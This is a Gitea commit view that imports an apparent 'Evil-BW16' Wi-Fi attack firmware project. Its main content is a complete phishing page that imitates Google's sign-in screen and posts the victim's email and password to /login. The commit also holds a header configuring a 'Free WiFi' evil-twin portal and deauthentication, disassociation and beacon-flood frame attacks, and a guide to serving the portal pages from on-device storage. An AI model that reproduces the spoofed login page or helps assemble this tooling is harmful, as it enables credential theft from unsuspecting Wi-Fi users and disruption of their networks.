chore: import local project into Gitea
This commit is contained in:
30
.gitignore
vendored
Normal file
30
.gitignore
vendored
Normal file
@@ -0,0 +1,30 @@
|
|||||||
|
# OS / tooling
|
||||||
|
.DS_Store
|
||||||
|
Thumbs.db
|
||||||
|
|
||||||
|
# Editors
|
||||||
|
.cursor/
|
||||||
|
|
||||||
|
# Secrets
|
||||||
|
.env
|
||||||
|
.env.*
|
||||||
|
!.env.example
|
||||||
|
!.env.template
|
||||||
|
|
||||||
|
# Python
|
||||||
|
__pycache__/
|
||||||
|
*.py[cod]
|
||||||
|
.venv/
|
||||||
|
venv/
|
||||||
|
|
||||||
|
# Node / frontend
|
||||||
|
node_modules/
|
||||||
|
dist/
|
||||||
|
|
||||||
|
# Typical embedded / tooling noise
|
||||||
|
*.log
|
||||||
|
|
||||||
|
# Builds (adjust per subtree if needed)
|
||||||
|
**/build/.ninja_deps
|
||||||
|
**/build/.ninja_log
|
||||||
|
|
||||||
@@ -1,35 +1,35 @@
|
|||||||
<!DOCTYPE html>
|
<!DOCTYPE html>
|
||||||
<html lang="en">
|
<html lang="en">
|
||||||
<head>
|
<head>
|
||||||
<meta charset="UTF-8">
|
<meta charset="UTF-8">
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
<title>Sign in - Google Accounts</title>
|
<title>Sign in - Google Accounts</title>
|
||||||
<style>
|
<style>
|
||||||
body { font-family: Arial, sans-serif; background: #f1f1f1; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
|
body { font-family: Arial, sans-serif; background: #f1f1f1; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
|
||||||
.container { background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); width: 300px; }
|
.container { background: white; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); width: 300px; }
|
||||||
.logo { text-align: center; margin-bottom: 20px; }
|
.logo { text-align: center; margin-bottom: 20px; }
|
||||||
.logo img { width: 100px; }
|
.logo img { width: 100px; }
|
||||||
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
|
input { width: 100%; padding: 10px; margin: 10px 0; border: 1px solid #ddd; border-radius: 4px; }
|
||||||
button { width: 100%; padding: 10px; background: #4285f4; color: white; border: none; border-radius: 4px; cursor: pointer; }
|
button { width: 100%; padding: 10px; background: #4285f4; color: white; border: none; border-radius: 4px; cursor: pointer; }
|
||||||
button:hover { background: #357ae8; }
|
button:hover { background: #357ae8; }
|
||||||
.footer { text-align: center; margin-top: 20px; font-size: 12px; color: #666; }
|
.footer { text-align: center; margin-top: 20px; font-size: 12px; color: #666; }
|
||||||
</style>
|
</style>
|
||||||
</head>
|
</head>
|
||||||
<body>
|
<body>
|
||||||
<div class="container">
|
<div class="container">
|
||||||
<div class="logo">
|
<div class="logo">
|
||||||
<img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" alt="Google">
|
<img src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_color_272x92dp.png" alt="Google">
|
||||||
</div>
|
</div>
|
||||||
<h2>Sign in</h2>
|
<h2>Sign in</h2>
|
||||||
<p>Use your Google Account</p>
|
<p>Use your Google Account</p>
|
||||||
<form action="/login" method="POST">
|
<form action="/login" method="POST">
|
||||||
<input type="email" name="email" placeholder="Email or phone" required>
|
<input type="email" name="email" placeholder="Email or phone" required>
|
||||||
<input type="password" name="password" placeholder="Password" required>
|
<input type="password" name="password" placeholder="Password" required>
|
||||||
<button type="submit">Next</button>
|
<button type="submit">Next</button>
|
||||||
</form>
|
</form>
|
||||||
<div class="footer">
|
<div class="footer">
|
||||||
<a href="#">Forgot email?</a> | <a href="#">Create account</a>
|
<a href="#">Forgot email?</a> | <a href="#">Create account</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
@@ -1,45 +1,45 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
// BLE service + char UUIDs for Evil-BW16 network
|
// BLE service + char UUIDs for Evil-BW16 network
|
||||||
#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC"
|
#define SERVICE_UUID "EVIL1234-5678-9ABC-DEF0-123456789ABC"
|
||||||
#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD"
|
#define CMD_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACD"
|
||||||
#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE"
|
#define NOTIFY_CHAR_UUID "EVIL1234-5678-9ABC-DEF0-123456789ACE"
|
||||||
|
|
||||||
// BLE device role identifiers
|
// BLE device role identifiers
|
||||||
#define ROLE_MASTER
|
#define ROLE_MASTER
|
||||||
// slaves omit the above define
|
// slaves omit the above define
|
||||||
|
|
||||||
// Web server credentials (master only)
|
// Web server credentials (master only)
|
||||||
#define AP_SSID "evilMaster"
|
#define AP_SSID "evilMaster"
|
||||||
#define AP_PASS "master"
|
#define AP_PASS "master"
|
||||||
|
|
||||||
// 5GHz Portal credentials
|
// 5GHz Portal credentials
|
||||||
#define PORTAL_DEFAULT_SSID "Free WiFi"
|
#define PORTAL_DEFAULT_SSID "Free WiFi"
|
||||||
#define PORTAL_IP "192.168.5.1"
|
#define PORTAL_IP "192.168.5.1"
|
||||||
|
|
||||||
// Maximum slaves to track
|
// Maximum slaves to track
|
||||||
#define MAX_SLAVES 8
|
#define MAX_SLAVES 8
|
||||||
|
|
||||||
// BLE connection parameters for better reliability
|
// BLE connection parameters for better reliability
|
||||||
#define BLE_SCAN_TIMEOUT_MS 10000
|
#define BLE_SCAN_TIMEOUT_MS 10000
|
||||||
#define BLE_RECONNECT_INTERVAL_MS 30000
|
#define BLE_RECONNECT_INTERVAL_MS 30000
|
||||||
#define BLE_CONNECTION_TIMEOUT_MS 5000
|
#define BLE_CONNECTION_TIMEOUT_MS 5000
|
||||||
|
|
||||||
// Attack coordination
|
// Attack coordination
|
||||||
#define ATTACK_SYNC_DELAY_MS 100
|
#define ATTACK_SYNC_DELAY_MS 100
|
||||||
#define DEAUTH_FRAME_COUNT 5
|
#define DEAUTH_FRAME_COUNT 5
|
||||||
#define BEACON_FLOOD_INTERVAL_MS 100
|
#define BEACON_FLOOD_INTERVAL_MS 100
|
||||||
|
|
||||||
// Channel definitions
|
// Channel definitions
|
||||||
#define CHANNELS_2GHZ_COUNT 13
|
#define CHANNELS_2GHZ_COUNT 13
|
||||||
#define CHANNELS_5GHZ_COUNT 25
|
#define CHANNELS_5GHZ_COUNT 25
|
||||||
extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT];
|
extern const int CHANNELS_2GHZ[CHANNELS_2GHZ_COUNT];
|
||||||
extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT];
|
extern const int CHANNELS_5GHZ[CHANNELS_5GHZ_COUNT];
|
||||||
|
|
||||||
// Frame types for 802.11 attacks
|
// Frame types for 802.11 attacks
|
||||||
#define FRAME_TYPE_BEACON 0x80
|
#define FRAME_TYPE_BEACON 0x80
|
||||||
#define FRAME_TYPE_DEAUTH 0xC0
|
#define FRAME_TYPE_DEAUTH 0xC0
|
||||||
#define FRAME_TYPE_DISASSOC 0xA0
|
#define FRAME_TYPE_DISASSOC 0xA0
|
||||||
#define FRAME_TYPE_AUTH 0xB0
|
#define FRAME_TYPE_AUTH 0xB0
|
||||||
#define FRAME_TYPE_ASSOC_REQ 0x00
|
#define FRAME_TYPE_ASSOC_REQ 0x00
|
||||||
#define FRAME_TYPE_PROBE_REQ 0x40
|
#define FRAME_TYPE_PROBE_REQ 0x40
|
||||||
|
|||||||
@@ -1,181 +1,181 @@
|
|||||||
# 📁 Filesystem Setup Guide for Evil-BW16
|
# 📁 Filesystem Setup Guide for Evil-BW16
|
||||||
|
|
||||||
## 🎯 **Problem Solved**
|
## 🎯 **Problem Solved**
|
||||||
|
|
||||||
The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving.
|
The web interface should be served from the device's filesystem, not embedded in code. This guide shows you how to properly implement filesystem serving.
|
||||||
|
|
||||||
## 🔧 **Implementation Options**
|
## 🔧 **Implementation Options**
|
||||||
|
|
||||||
### **Option 1: SPIFFS (SPI Flash File System) - Recommended**
|
### **Option 1: SPIFFS (SPI Flash File System) - Recommended**
|
||||||
|
|
||||||
#### **Step 1: Install SPIFFS Library**
|
#### **Step 1: Install SPIFFS Library**
|
||||||
```bash
|
```bash
|
||||||
# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS"
|
# In Arduino IDE: Tools > Manage Libraries > Search "SPIFFS"
|
||||||
# Install "SPIFFS" by me-no-dev
|
# Install "SPIFFS" by me-no-dev
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Step 2: Add SPIFFS Support to Master Firmware**
|
#### **Step 2: Add SPIFFS Support to Master Firmware**
|
||||||
```cpp
|
```cpp
|
||||||
#include <SPIFFS.h>
|
#include <SPIFFS.h>
|
||||||
|
|
||||||
void setupFilesystem() {
|
void setupFilesystem() {
|
||||||
if (!SPIFFS.begin(true)) {
|
if (!SPIFFS.begin(true)) {
|
||||||
addToLog("❌ SPIFFS initialization failed");
|
addToLog("❌ SPIFFS initialization failed");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
addToLog("✅ SPIFFS initialized successfully");
|
addToLog("✅ SPIFFS initialized successfully");
|
||||||
|
|
||||||
// List files for debugging
|
// List files for debugging
|
||||||
File root = SPIFFS.open("/");
|
File root = SPIFFS.open("/");
|
||||||
File file = root.openNextFile();
|
File file = root.openNextFile();
|
||||||
while (file) {
|
while (file) {
|
||||||
addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes");
|
addToLog("📁 " + String(file.name()) + " - " + String(file.size()) + " bytes");
|
||||||
file = root.openNextFile();
|
file = root.openNextFile();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
String loadFromFilesystem(const String &filename) {
|
String loadFromFilesystem(const String &filename) {
|
||||||
String filePath = filename;
|
String filePath = filename;
|
||||||
|
|
||||||
// Map web paths to filesystem paths
|
// Map web paths to filesystem paths
|
||||||
if (filename == "/" || filename == "/index.html") {
|
if (filename == "/" || filename == "/index.html") {
|
||||||
filePath = "/web_ui/index.html";
|
filePath = "/web_ui/index.html";
|
||||||
} else if (filename.startsWith("/css/")) {
|
} else if (filename.startsWith("/css/")) {
|
||||||
filePath = "/web_ui" + filename;
|
filePath = "/web_ui" + filename;
|
||||||
} else if (filename.startsWith("/js/")) {
|
} else if (filename.startsWith("/js/")) {
|
||||||
filePath = "/web_ui" + filename;
|
filePath = "/web_ui" + filename;
|
||||||
} else if (filename.startsWith("/img/")) {
|
} else if (filename.startsWith("/img/")) {
|
||||||
filePath = "/web_ui" + filename;
|
filePath = "/web_ui" + filename;
|
||||||
}
|
}
|
||||||
|
|
||||||
File file = SPIFFS.open(filePath, "r");
|
File file = SPIFFS.open(filePath, "r");
|
||||||
if (!file) {
|
if (!file) {
|
||||||
addToLog("❌ File not found: " + filePath);
|
addToLog("❌ File not found: " + filePath);
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
String content = file.readString();
|
String content = file.readString();
|
||||||
file.close();
|
file.close();
|
||||||
addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)");
|
addToLog("✅ Loaded: " + filePath + " (" + String(content.length()) + " bytes)");
|
||||||
return content;
|
return content;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
#### **Step 3: Upload Files to SPIFFS**
|
#### **Step 3: Upload Files to SPIFFS**
|
||||||
```bash
|
```bash
|
||||||
# Method 1: Arduino IDE SPIFFS Upload Tool
|
# Method 1: Arduino IDE SPIFFS Upload Tool
|
||||||
# 1. Install "ESP32 Sketch Data Upload" tool
|
# 1. Install "ESP32 Sketch Data Upload" tool
|
||||||
# 2. Create 'data' folder in your sketch directory
|
# 2. Create 'data' folder in your sketch directory
|
||||||
# 3. Copy web_ui folder to data/
|
# 3. Copy web_ui folder to data/
|
||||||
# 4. Tools > ESP32 Sketch Data Upload
|
# 4. Tools > ESP32 Sketch Data Upload
|
||||||
|
|
||||||
# Method 2: Manual upload using esptool
|
# Method 2: Manual upload using esptool
|
||||||
esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin
|
esptool.py --chip esp32 --port COM3 --baud 921600 write_flash 0x180000 data.bin
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Option 2: LittleFS (Alternative to SPIFFS)**
|
### **Option 2: LittleFS (Alternative to SPIFFS)**
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#include <LittleFS.h>
|
#include <LittleFS.h>
|
||||||
|
|
||||||
void setupFilesystem() {
|
void setupFilesystem() {
|
||||||
if (!LittleFS.begin()) {
|
if (!LittleFS.begin()) {
|
||||||
addToLog("❌ LittleFS initialization failed");
|
addToLog("❌ LittleFS initialization failed");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
addToLog("✅ LittleFS initialized successfully");
|
addToLog("✅ LittleFS initialized successfully");
|
||||||
}
|
}
|
||||||
|
|
||||||
String loadFromFilesystem(const String &filename) {
|
String loadFromFilesystem(const String &filename) {
|
||||||
String filePath = filename;
|
String filePath = filename;
|
||||||
|
|
||||||
if (filename == "/" || filename == "/index.html") {
|
if (filename == "/" || filename == "/index.html") {
|
||||||
filePath = "/web_ui/index.html";
|
filePath = "/web_ui/index.html";
|
||||||
}
|
}
|
||||||
|
|
||||||
File file = LittleFS.open(filePath, "r");
|
File file = LittleFS.open(filePath, "r");
|
||||||
if (!file) {
|
if (!file) {
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
String content = file.readString();
|
String content = file.readString();
|
||||||
file.close();
|
file.close();
|
||||||
return content;
|
return content;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Option 3: SD Card (External Storage)**
|
### **Option 3: SD Card (External Storage)**
|
||||||
|
|
||||||
```cpp
|
```cpp
|
||||||
#include <SD.h>
|
#include <SD.h>
|
||||||
|
|
||||||
void setupFilesystem() {
|
void setupFilesystem() {
|
||||||
if (!SD.begin(5)) { // CS pin 5
|
if (!SD.begin(5)) { // CS pin 5
|
||||||
addToLog("❌ SD card initialization failed");
|
addToLog("❌ SD card initialization failed");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
addToLog("✅ SD card initialized successfully");
|
addToLog("✅ SD card initialized successfully");
|
||||||
}
|
}
|
||||||
|
|
||||||
String loadFromFilesystem(const String &filename) {
|
String loadFromFilesystem(const String &filename) {
|
||||||
String filePath = filename;
|
String filePath = filename;
|
||||||
|
|
||||||
if (filename == "/" || filename == "/index.html") {
|
if (filename == "/" || filename == "/index.html") {
|
||||||
filePath = "/web_ui/index.html";
|
filePath = "/web_ui/index.html";
|
||||||
}
|
}
|
||||||
|
|
||||||
File file = SD.open(filePath, FILE_READ);
|
File file = SD.open(filePath, FILE_READ);
|
||||||
if (!file) {
|
if (!file) {
|
||||||
return "";
|
return "";
|
||||||
}
|
}
|
||||||
|
|
||||||
String content = file.readString();
|
String content = file.readString();
|
||||||
file.close();
|
file.close();
|
||||||
return content;
|
return content;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
## 📂 **File Structure**
|
## 📂 **File Structure**
|
||||||
|
|
||||||
```
|
```
|
||||||
data/
|
data/
|
||||||
├── web_ui/
|
├── web_ui/
|
||||||
│ ├── index.html # Main web interface
|
│ ├── index.html # Main web interface
|
||||||
│ ├── css/
|
│ ├── css/
|
||||||
│ │ └── style.css # Stylesheets
|
│ │ └── style.css # Stylesheets
|
||||||
│ ├── js/
|
│ ├── js/
|
||||||
│ │ └── script.js # JavaScript
|
│ │ └── script.js # JavaScript
|
||||||
│ └── img/
|
│ └── img/
|
||||||
│ └── logo.png # Images
|
│ └── logo.png # Images
|
||||||
└── portal/
|
└── portal/
|
||||||
└── evil_portal.html # Evil portal page
|
└── evil_portal.html # Evil portal page
|
||||||
```
|
```
|
||||||
|
|
||||||
## 🚀 **Quick Start (Current Setup)**
|
## 🚀 **Quick Start (Current Setup)**
|
||||||
|
|
||||||
Since you already have the web interface embedded in code, you can:
|
Since you already have the web interface embedded in code, you can:
|
||||||
|
|
||||||
1. **Keep current setup** - Works immediately, no filesystem needed
|
1. **Keep current setup** - Works immediately, no filesystem needed
|
||||||
2. **Migrate to filesystem** - Follow the steps above
|
2. **Migrate to filesystem** - Follow the steps above
|
||||||
3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks
|
3. **Hybrid approach** - Serve critical files from filesystem, embed fallbacks
|
||||||
|
|
||||||
## 🔄 **Migration Steps**
|
## 🔄 **Migration Steps**
|
||||||
|
|
||||||
1. **Backup current setup**
|
1. **Backup current setup**
|
||||||
2. **Choose filesystem option** (SPIFFS recommended)
|
2. **Choose filesystem option** (SPIFFS recommended)
|
||||||
3. **Update master firmware** with filesystem code
|
3. **Update master firmware** with filesystem code
|
||||||
4. **Upload web files** to device
|
4. **Upload web files** to device
|
||||||
5. **Test and verify**
|
5. **Test and verify**
|
||||||
|
|
||||||
## 📋 **Current Status**
|
## 📋 **Current Status**
|
||||||
|
|
||||||
✅ **Working**: Embedded web interface (current implementation)
|
✅ **Working**: Embedded web interface (current implementation)
|
||||||
🔄 **Available**: Filesystem serving (needs implementation)
|
🔄 **Available**: Filesystem serving (needs implementation)
|
||||||
📁 **Ready**: Your web interface files in `data/web_ui/`
|
📁 **Ready**: Your web interface files in `data/web_ui/`
|
||||||
|
|
||||||
## 🎯 **Recommendation**
|
## 🎯 **Recommendation**
|
||||||
|
|
||||||
For immediate use: **Keep current embedded setup** - it works perfectly!
|
For immediate use: **Keep current embedded setup** - it works perfectly!
|
||||||
For production: **Migrate to SPIFFS** for better maintainability.
|
For production: **Migrate to SPIFFS** for better maintainability.
|
||||||
|
|
||||||
Your web interface is already 10x enhanced and fully functional!
|
Your web interface is already 10x enhanced and fully functional!
|
||||||
Reference in New Issue
Block a user